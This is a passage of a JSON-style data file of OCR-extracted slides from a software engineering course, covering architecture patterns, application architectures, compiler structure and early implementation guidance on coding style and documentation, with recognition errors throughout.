| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_7/slide_027.png", |
| "page_index": 262, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:59:05+07:00" |
| } |
| }, |
| "CO3001-chapter-7-slide-263-0000": { |
| "id": "CO3001-chapter-7-slide-263-0000", |
| "text": "A REPOSITORY ARCHITECTURE FOR AN IDE UML Code editors generators Java editor Design Project translator repository Python editor Design Report analyzer generator BK Sep 2019 CHAPTER 6. SOETWARE ARCHITECTURE DESIGN 28 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_7/slide_028.png", |
| "page_index": 263, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:59:09+07:00" |
| } |
| }, |
| "CO3001-chapter-7-slide-264-0000": { |
| "id": "CO3001-chapter-7-slide-264-0000", |
| "text": "THE CLIENT-SERVER PATTERN Name Client-server Description In a client-server architecture, the functionality of the system is organized into services, with each service delivered from a separate server. Clients s are users of these services and access servers to make use of them. Example Figure in the next slide is an example of a film and video/DVD library organized as a client-server system. When used Used when data in a shared database has to be accessed from a range of locations. Because servers can be replicated, may also be used when the load on a system is variable. Advantages The principal advantage of this model is that servers l be 1 can distributed across a network. General functionality (e.g., a printing service) can be available to all clients and does not need to be implemented by all services. Disadvantages Each service is a single point of failure so susceptible to denial of service attacks or server failure. Performance may be unpredictable because it depends on the network as well as the system. May be management problems if servers are owned by different organizations. BK Sep 2019 CHAPTER 6. SOFTWARE ARCHITECTURE DESIGN 29 P.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_7/slide_029.png", |
| "page_index": 264, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:59:16+07:00" |
| } |
| }, |
| "CO3001-chapter-7-slide-265-0000": { |
| "id": "CO3001-chapter-7-slide-265-0000", |
| "text": "A CLIENT-SERVER ARCHITECTURE FOR A FILM LIBRARY Client 1 Client 2 Client 3 Client 4 Internet Catalog Video Picture Web server server server server Library Film and Film store Photo store catalogue photo info. BK Sep 2019 CHAPTER 6. SOETWARE ARCHITECTURE DESIGN 30 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_7/slide_030.png", |
| "page_index": 265, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:59:21+07:00" |
| } |
| }, |
| "CO3001-chapter-7-slide-266-0000": { |
| "id": "CO3001-chapter-7-slide-266-0000", |
| "text": "THE PIPE AND FILTER PATTERN Name Pipe and filter Description The processing of the data in a system is organized so that each processing component (filter) is discrete and carries out one type of data transformation. The data flows (as in a pipe) from one component to another for processing. Example Figure in the next slide is an example of a pipe and filter system used for processing invoices. When used Commonly used in data processing applications (both batch- and transaction-based) where inputs are processed in separate stages to generate related outputs Advantages Easy to understand and supports transformation reuse. Workflow style matches the structure of many business processes. Evolution l by adding transformations is straightforward. Can be implemented as either a sequential or concurrent system. Disadvantages The format for data transfer has to be agreed l upon between communicating transformations. Each transformation must parse its input and unparse its output to the agreed form. This increases system overhead and may mean that it is impossible e to reuse functional transformations that use incompatible data structures. BK Sep 2019 CHAPTER 6. SOFTWARE ARCHITECTURE DESIGN 31 P.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_7/slide_031.png", |
| "page_index": 266, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:59:29+07:00" |
| } |
| }, |
| "CO3001-chapter-7-slide-267-0000": { |
| "id": "CO3001-chapter-7-slide-267-0000", |
| "text": "AN EXAMPLE OF THE PIPE AND FILTER ARCHITECTURE Issue Receipts receipts Read issued Identify Invoices payments Find Issue payments payment Reminders due reminder Invoices Payments BK Sep 2019 CHAPTER 6. SOETWARE ARCHITECTURE DESIGN 32 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_7/slide_032.png", |
| "page_index": 267, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:59:33+07:00" |
| } |
| }, |
| "CO3001-chapter-7-slide-268-0000": { |
| "id": "CO3001-chapter-7-slide-268-0000", |
| "text": "MONOLITHIC MICROSERVICE ARCHITECTURE ARCHITECTURE User User Mirco- Mirco- Interface service Interface service Data Business Access Logic Layer Mirco- Mirco- Mirco- Mirco- service service service service Data Base", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_7/slide_033.png", |
| "page_index": 268, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:59:39+07:00" |
| } |
| }, |
| "CO3001-chapter-7-slide-269-0000": { |
| "id": "CO3001-chapter-7-slide-269-0000", |
| "text": "IN-CLASS ACTIVITY Microservice architecture vs. Monolithic architecture BK Sep 2019 CHAPIER 6.SOFLWARE ARCHULECLURE DESIGN 34 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_7/slide_034.png", |
| "page_index": 269, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:59:42+07:00" |
| } |
| }, |
| "CO3001-chapter-7-slide-270-0000": { |
| "id": "CO3001-chapter-7-slide-270-0000", |
| "text": "ARCHITECTURE FOR A STREAMING PLATEORM a streaming platform is an on-demand online entertainment source for TV shows, movies and other streaming media. For example, think of things like Hulu, Netflix eo, and Sundance Nc Listen a Stream Mix Tracks Listener <include 4 / / Fade Tracks Start Streaming Wextend, Select the Next Track Redactor BK Sep 2019 SOETWARE ARCHITECTURE DESIGN 35 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_7/slide_035.png", |
| "page_index": 270, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:59:46+07:00" |
| } |
| }, |
| "CO3001-chapter-7-slide-271-0000": { |
| "id": "CO3001-chapter-7-slide-271-0000", |
| "text": "READ ABOUT Client-server pattern Repository pattern Message Broker pattern MVC pattern Pipe and filter pattern Microservice vs. Monolithic architecture Pros & cons BK Sep 2019 CHAPTER 6. SOETWARE ARCHITECTURE DESIGN 36 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_7/slide_036.png", |
| "page_index": 271, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:59:50+07:00" |
| } |
| }, |
| "CO3001-chapter-7-slide-272-0000": { |
| "id": "CO3001-chapter-7-slide-272-0000", |
| "text": "Backend on AWS Cb Signup API Cache API AWS Discovery Gateway ELB API Service Play API Micro service Application API Client Stream Processing Devices Pipeline AWS Datastores Hadoop S3 BK Sep 2019 1 37 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_7/slide_037.png", |
| "page_index": 272, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:59:55+07:00" |
| } |
| }, |
| "CO3001-chapter-7-slide-273-0000": { |
| "id": "CO3001-chapter-7-slide-273-0000", |
| "text": "Monolithic architecture Microservices architecture Simple to develop and deploy Complex and hard to develop and deploy Interconnectivity Autonomy Code changes affect the entire system Only the microservice that is changed would be affected Inter-service communication Using APls for communication Simple testing Testing is much more complex The entire system will be tested at once. Done on a per unit or component level after which a system-wide test can then be done One codebase and one shared database A codebase and database for each microservice Hard to scale or upgrade Very scalable and upgrade Less expensive and faster to develop More expensive and takes more time to develop The entire system can be affected by a The entire system is shielded from the error single error or bug or bug on one sub service BK Sep 2019 CHAPTER 6. SOFTWARE ARCHITECTURE DESIGN 38 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_7/slide_038.png", |
| "page_index": 273, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:00:02+07:00" |
| } |
| }, |
| "CO3001-chapter-7-slide-274-0000": { |
| "id": "CO3001-chapter-7-slide-274-0000", |
| "text": "APPLICATION ARCHITECTURES BK Sep 2019 CHAPIER 6.SOFLWARE ARCHULECLURE DESIGN 39 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_7/slide_039.png", |
| "page_index": 274, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:00:04+07:00" |
| } |
| }, |
| "CO3001-chapter-7-slide-275-0000": { |
| "id": "CO3001-chapter-7-slide-275-0000", |
| "text": "APPLICATION ARCHITECTURES Application systems are designed to meet an organizational need. As businesses have much in common, their application reflects the application requirements. e system that may be configured and adapted to create a system that meets specific requirements. BK Sep 2019 CHAPTER 6. SOFTWARE ARCHITECTURE DESIGN 40 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_7/slide_040.png", |
| "page_index": 275, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:00:09+07:00" |
| } |
| }, |
| "CO3001-chapter-7-slide-276-0000": { |
| "id": "CO3001-chapter-7-slide-276-0000", |
| "text": "USE OF APPLICATION ARCHITECTURES As a starting point for architectural design. As a design checklist. As a way of organising the work of the development team. As a vocabulary for talking about application types. BK Sep 2019 CHAPTER 6. SOETWARE ARCHITECTURE DESIGN 41 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_7/slide_041.png", |
| "page_index": 276, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:00:12+07:00" |
| } |
| }, |
| "CO3001-chapter-7-slide-277-0000": { |
| "id": "CO3001-chapter-7-slide-277-0000", |
| "text": "EXAMPLES OE APPLICATION TYPES Transaction processing applications Database-centred applications that process user requests and update information in a system database. Event processing systems Applications where system actions depend on interpreting events from the system's environment. Language processing systems Applications where the users' intentions are specified in a formal language that is processed and interpreted by the system. BK Sep 2019 CHAPTER 6. SOFTWARE ARCHITECTURE DESIGN 42 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_7/slide_042.png", |
| "page_index": 277, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:00:16+07:00" |
| } |
| }, |
| "CO3001-chapter-7-slide-278-0000": { |
| "id": "CO3001-chapter-7-slide-278-0000", |
| "text": "TRANSACTION PROCESSING SYSTEMS I/0 Application Transaction Database processing logic manager database or requests to update the database. Any coherent sequence of operations that satisfies a goal; For example - find the times of flights from London to Paris. which are then processed by a transaction manager. BK Sep 2019 CHAPTER 6. SOETWARE ARCHITECTURE DESIGN 43 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_7/slide_043.png", |
| "page_index": 278, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:00:21+07:00" |
| } |
| }, |
| "CO3001-chapter-7-slide-279-0000": { |
| "id": "CO3001-chapter-7-slide-279-0000", |
| "text": "THE SOETWARE ARCHITECTURE OE AN ATM SYSTEM Input Process Output Get customer Print details account id Query account Validate card Return card Update account Dispense cash Select service ATM Database ATM BK Sep 2019 CHAPTER 6. SOETWARE ARCHITECTURE DESIGN 44 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_7/slide_044.png", |
| "page_index": 279, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:00:25+07:00" |
| } |
| }, |
| "CO3001-chapter-7-slide-280-0000": { |
| "id": "CO3001-chapter-7-slide-280-0000", |
| "text": "INEORMATION SYSTEMS ARCHITECTURE that can n be organized as a layered architecture. e transaction-based systems as interaction These are with these systems generally involves database transactions. User interface Layers include: Authentication and The user interface User communications authorization - User communications Information retrieval and modification Information retrieval System database Transaction management Database BK Sep 2019 45 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_7/slide_045.png", |
| "page_index": 280, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:00:31+07:00" |
| } |
| }, |
| "CO3001-chapter-7-slide-281-0000": { |
| "id": "CO3001-chapter-7-slide-281-0000", |
| "text": "THE ARCHITECTURE OE THE MENTCARE SYSTEM Web browser Form and menu Data Login Role checking validation manager Security Patient info Data import Report manager and export management generation Transaction management Patient database BK Sep 2019 CHAPTER 6. SOETWARE ARCHITECTURE DESIGN 46 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_7/slide_046.png", |
| "page_index": 281, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:00:35+07:00" |
| } |
| }, |
| "CO3001-chapter-7-slide-282-0000": { |
| "id": "CO3001-chapter-7-slide-282-0000", |
| "text": "WEB-BASED INEORMATION SYSTEMS v Information and resource management systems are now usually web-based systems where the user interfaces are implemented using a web browser. Often implemented as multi-tier client/server 71 architectures. The web server is responsible for all user communications, with the user interface implemented using a web browser; The application server is responsible for implementing application-specific logic as well as information storage and retrieval requests; The database server moves informationatgandufrom the BK Sep 2019 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_7/slide_047.png", |
| "page_index": 282, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:00:41+07:00" |
| } |
| }, |
| "CO3001-chapter-7-slide-283-0000": { |
| "id": "CO3001-chapter-7-slide-283-0000", |
| "text": "LANGUAGE PROCESSING SYSTEMS Accept a natural or artificial language as input and language. May include an interpreter to act on the instructions in the language that is being processed. Used in situations where the easiest way to solve a problem is to describe an algorithm or describe the system data Meta-case tools process tool descriptions, method rules, etc and generate tools. BK Sep 2019 CHAPTER 6. SOFTWARE ARCHITECTURE DESIGN 48 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_7/slide_048.png", |
| "page_index": 283, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:00:45+07:00" |
| } |
| }, |
| "CO3001-chapter-7-slide-284-0000": { |
| "id": "CO3001-chapter-7-slide-284-0000", |
| "text": "THE ARCHITECTURE OE A LANGUAGE PROCESSING SYSTEM Translator Source language Check syntax instructions Check semantics Generate Abstract m/c Instructions Interpreter Fetch Data Results Execute BK Sep 2019 CHAPTER 6. SOETWARE ARCHITECTURE DESIGN 49 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_7/slide_049.png", |
| "page_index": 284, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:00:49+07:00" |
| } |
| }, |
| "CO3001-chapter-7-slide-285-0000": { |
| "id": "CO3001-chapter-7-slide-285-0000", |
| "text": "COMPILER ARCHITECTURE Components - A lexical analyzer: takes input language tokens and converts them to an internal form. A symbol table: holds information about the names of entities (variables, class names, object names, etc.) used in the text that is being translated. A syntax analyzer: checks the syntax of the language being translated. A syntax tree: an internal structure representing the program being compiled. A semantic analyzer: uses information from the syntax tree and the symbol table to check the semantic correctness of the input language text. A code generator: 'walks' the syntax tree and generates BK abstract machine code. Sep 2019 CHAPTER 6. SOFTWARE ARCHITECTURE DESIGN 50 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_7/slide_050.png", |
| "page_index": 285, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:00:54+07:00" |
| } |
| }, |
| "CO3001-chapter-7-slide-286-0000": { |
| "id": "CO3001-chapter-7-slide-286-0000", |
| "text": "A PIPE AND FILTER VS REPOSITORY ARCHITECTURE FOR COMPILERS Symbol table Syntax tree Lexical Syntactic Semantic Code analysis analysis analysis generation Lexical Syntax Semantic analyzer analyzer analyzer Pretty- Abstract Grammar Optimizer printer syntax tree definition Symbol Output Code Editor table definition generator Repository BK Sep 2019 CHAPTER 6. SOETWARE ARCHITECTURE DESIGN 51 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_7/slide_051.png", |
| "page_index": 286, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:01:00+07:00" |
| } |
| }, |
| "CO3001-chapter-7-slide-287-0000": { |
| "id": "CO3001-chapter-7-slide-287-0000", |
| "text": "SUMMARY A software architecture is a description of how a software system is organized. Architectural design decisions include decisions on the type,of application, the distribution of the system, the architectural styles to be used. Architectures may be documented from several view, a logical view, a process view, and a development View. describe the architecture, explain,when it may be ušed BK Sep 2019 CHAPTER 6. SOFTWARE ARCHITECTURE DESIGN 52 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_7/slide_052.png", |
| "page_index": 287, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:01:04+07:00" |
| } |
| }, |
| "CO3001-chapter-7-slide-288-0000": { |
| "id": "CO3001-chapter-7-slide-288-0000", |
| "text": "SUMMARY (CONT.) Models of application systems architectures help us understand and compare applications, validate application system designs and assess large-scale components for reuse. Transaction processing j systems are interactive systems that allow information in a database to be rémotely accessed and modified by a number of users. BK Sep 201g CHAPTER 6. SOFTWARE ARCHITECTURE DESIGN 53 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_7/slide_053.png", |
| "page_index": 288, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:01:09+07:00" |
| } |
| }, |
| "CO3001-chapter-7-slide-289-0000": { |
| "id": "CO3001-chapter-7-slide-289-0000", |
| "text": "IN-CLASS ACTIVITY v Use Client-Server to SCAMS s system Deployment diagram BK Sep 2019 CHAPIER 6.SOFLWARE ARCHULECLURE DESIGN 54 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_7/slide_054.png", |
| "page_index": 289, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:01:13+07:00" |
| } |
| }, |
| "CO3001-chapter-8-slide-290-0000": { |
| "id": "CO3001-chapter-8-slide-290-0000", |
| "text": "AR'E ENGINEERIN CO3D01 CHAPTER 8 - SOFTWARE IMPLEMENTATION WEEK 10 BK Adapted from E.J. Braude (2001), Software Engineering: An Object-Oriented TP.HCM Perspective, lSBN 978-0-471-32208-5, John Wiley.", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_8/slide_001.png", |
| "page_index": 290, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:01:16+07:00" |
| } |
| }, |
| "CO3001-chapter-8-slide-291-0000": { |
| "id": "CO3001-chapter-8-slide-291-0000", |
| "text": "TOPICS COVERED V I Implementation meaning Coding style & standards Code with correctness justification Integration meaning V Integration process BK Sep 2019 CHAPTER 7.3.MORE ON IMPLEMENTATION 2 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_8/slide_002.png", |
| "page_index": 291, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:01:20+07:00" |
| } |
| }, |
| "CO3001-chapter-8-slide-292-0000": { |
| "id": "CO3001-chapter-8-slide-292-0000", |
| "text": "IMPLEMENTATION smallest part that will be separately maintained Implementation = Unit Implementation + I Integration put them all together BK Sep 2019 CHAPTER 7.3.MORE ON IMPLEMENTATION 3 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_8/slide_003.png", |
| "page_index": 292, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:01:23+07:00" |
| } |
| }, |
| "CO3001-chapter-8-slide-293-0000": { |
| "id": "CO3001-chapter-8-slide-293-0000", |
| "text": "GOLDEN RULE (!?) Requirements to satisfy Customers Design again requirements only V Implement again design only Test again design and requirements BK Sep 2019 CHAPTER 7.3.MORE ONIMPLEMENTATION 4 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_8/slide_004.png", |
| "page_index": 293, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:01:25+07:00" |
| } |
| }, |
| "CO3001-chapter-8-slide-294-0000": { |
| "id": "CO3001-chapter-8-slide-294-0000", |
| "text": "IMPLEMENT CODE Ohe way to V 1. Plan the structure and residual design for your code 2. Self-inspect your design and/or structure 3. Type your code 4. Self-inspect your code 5. Compile your code 6. Test your code BK Sep 2019 CHAPTER 7.3. MORE ONIMPLEMENTATION 5 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_8/slide_005.png", |
| "page_index": 294, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:01:29+07:00" |
| } |
| }, |
| "CO3001-chapter-8-slide-295-0000": { |
| "id": "CO3001-chapter-8-slide-295-0000", |
| "text": "GENERAL PRINCIPLES IN PROGRAMMING PRACTICE 2. Enforce intentions If your code is intended to be used in particular ways only, write it so that the code cannot be used in any other way. If a member is not intended to be used by other functions, enforce this by making it private or protected etc. Use qualifiers such as final and abstract etc. to enforce intentions BK Sep 2019 CHAPTER 7.3.MORE ON IMPLEMENTATION 6 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_8/slide_006.png", |
| "page_index": 295, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:01:33+07:00" |
| } |
| }, |
| "CO3001-chapter-8-slide-296-0000": { |
| "id": "CO3001-chapter-8-slide-296-0000", |
| "text": "THINK GLOBALLY. PROGRAM LOCALLY' Make all members as local as possible as invisible as possible attributes private: access them through more public accessor functions if required. (Making attributes protected gives objects of subclasses access to members of their base classes -- not usually what you want) BK Sep 2019 CHAPTER 7.3.MORE ON IMPLEMENTATION 7 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_8/slide_007.png", |
| "page_index": 296, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:01:36+07:00" |
| } |
| }, |
| "CO3001-chapter-8-slide-297-0000": { |
| "id": "CO3001-chapter-8-slide-297-0000", |
| "text": "EXCEPTIONS HANDLING \"If you must choice between throwing an exception and continuing the computation continue if you can\" (Cay Horstmann) Catch only those exceptions that you 7 know how to handle Be reasonable about exceptions callers s must handle Don't substitute the use of exceptions for issue that should be the subject of testing BK Sep 2019 CHAPTER 7.3.MORE ON IMPLEMENTATION 8 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_8/slide_008.png", |
| "page_index": 297, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:01:40+07:00" |
| } |
| }, |
| "CO3001-chapter-8-slide-298-0000": { |
| "id": "CO3001-chapter-8-slide-298-0000", |
| "text": "NAMING CONVENTIONS Use concatenated words e.g., cylinderLength Begin class names with capitals Variable names begin lower case Constants with capitals as in MAX_N or use static final Data members of classes with an underscore as in _timeOfDay methods Additional getters and setters of collections And/or distinguish between.instance variables, local variables and parameters BK Sep 2019 CHAPTER 7.3. MORE ONIMPLEMENTATION 9 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_8/slide_009.png", |
| "page_index": 298, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:01:44+07:00" |
| } |
| }, |
| "CO3001-chapter-8-slide-299-0000": { |
| "id": "CO3001-chapter-8-slide-299-0000", |
| "text": "DOCUMENTING METHODS what the method does why it does so what parameters it must be passed (use @param tag) exceptions it throws (use @exception tag) reason for choice of visibility known bugs test description, describing whether the method has been tested, and the location of its test script history of changes if you are not using a sub-version system example of how the method works pre- and post-conditions special documentation on threaded and synchronized methods BK Sep 2019 CHAPTER 7.3.MORE ON IMPLEMENTATION 10 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_8/slide_010.png", |
| "page_index": 299, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:01:49+07:00" |
| } |
| }, |
| "CO3001-chapter-8-slide-300-0000": { |
| "id": "CO3001-chapter-8-slide-300-0000", |
| "text": "* Class Name : EncounterCast * Version information : Version 0.1 * Date : 6/19/1999 * Copyright Notice : see below * Edit history. * 11 Feb /** Facade class/object for the EncounterCharacters package. Used to * 8 Feb * reference all characters of the Encounter game. * 08 Jan * <p> Design: SDD 3.1 Module decomposition */ * <br> SDD 5.1.2 Interface to the EncounterCharacters package * /* * < <p>Design issues:<ul> Copyrig g* <li> SDD 5.1.2.4 method engagePlayerWithForeignCharacter was * not implemented, since engagements are handled more directly This pr * from the Engaging state object. \"Softwa * </ul /** Gets encounterCast, the one and only instance of EncounterCast. by Eric * <p> Requirement: SDD 5.1.2 * @a * * @v * @return The EncounterCast singleton */ */ public public static EncounterCast getEncounterCast0 return encounterCastS; } BK Sep TP.HCM private static final String MAIN PLAYER NAME = \"Elena\";", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_8/slide_011.png", |
| "page_index": 300, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
